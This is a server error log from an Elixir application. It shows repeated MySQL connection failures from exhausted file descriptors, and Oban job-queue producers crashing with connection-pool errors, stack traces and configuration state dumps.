[Sun Sep  6 00:04:21.067000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:21.263000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:27.270000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:29.088000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:29.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:04:17.239367Z], limit: 5, uuid: "bca5117c-05f3-478c-915d-2cbad2192ee8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:17.239381Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44886>, refresh_timer: #Reference<0.2525715032.1121189889.155578>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:04:17.239238Z], limit: 5, uuid: "1ecedab4-132e-44df-a6e9-e5d104e39b6b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:17.239244Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44884>, refresh_timer: #Reference<0.2525715032.1068498948.44877>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:04:17.239783Z], limit: 20, uuid: "8e394411-3eb8-4050-afcd-f742caec8462", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:17.239789Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43161>, refresh_timer: #Reference<0.2525715032.1099431938.43153>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:04:17.239550Z], limit: 10, uuid: "de964041-7319-4d87-bcc9-c21d05ead4f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:17.239556Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43162>, refresh_timer: #Reference<0.2525715032.1099431938.43150>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:04:17.239499Z], limit: 50, uuid: "1ff8e8ed-33cb-451e-9d34-a3ad6f9edf0d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:17.239505Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.44885>, refresh_timer: #Reference<0.2525715032.1068498948.44883>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:04:17.239241Z], limit: 3, uuid: "9adcc019-71b9-4ade-8f15-07606e3b4e2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:17.239246Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43163>, refresh_timer: #Reference<0.2525715032.1099431938.43137>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:30.022000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:34.955000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:35.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:36.971000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:39.492000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:04:41.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:04:29.240446Z], limit: 5, uuid: "8a6ca178-68fb-48ba-940e-c13e761002a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:29.240451Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.43521>, refresh_timer: #Reference<0.2525715032.1099431938.43511>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:04:29.241773Z], limit: 50, uuid: "24c19f63-fd42-44a9-939b-508a98b1581e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:04:29.241779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.155889>, refresh_timer: #Reference<0.2525715032.1077673987.20587>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:04:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
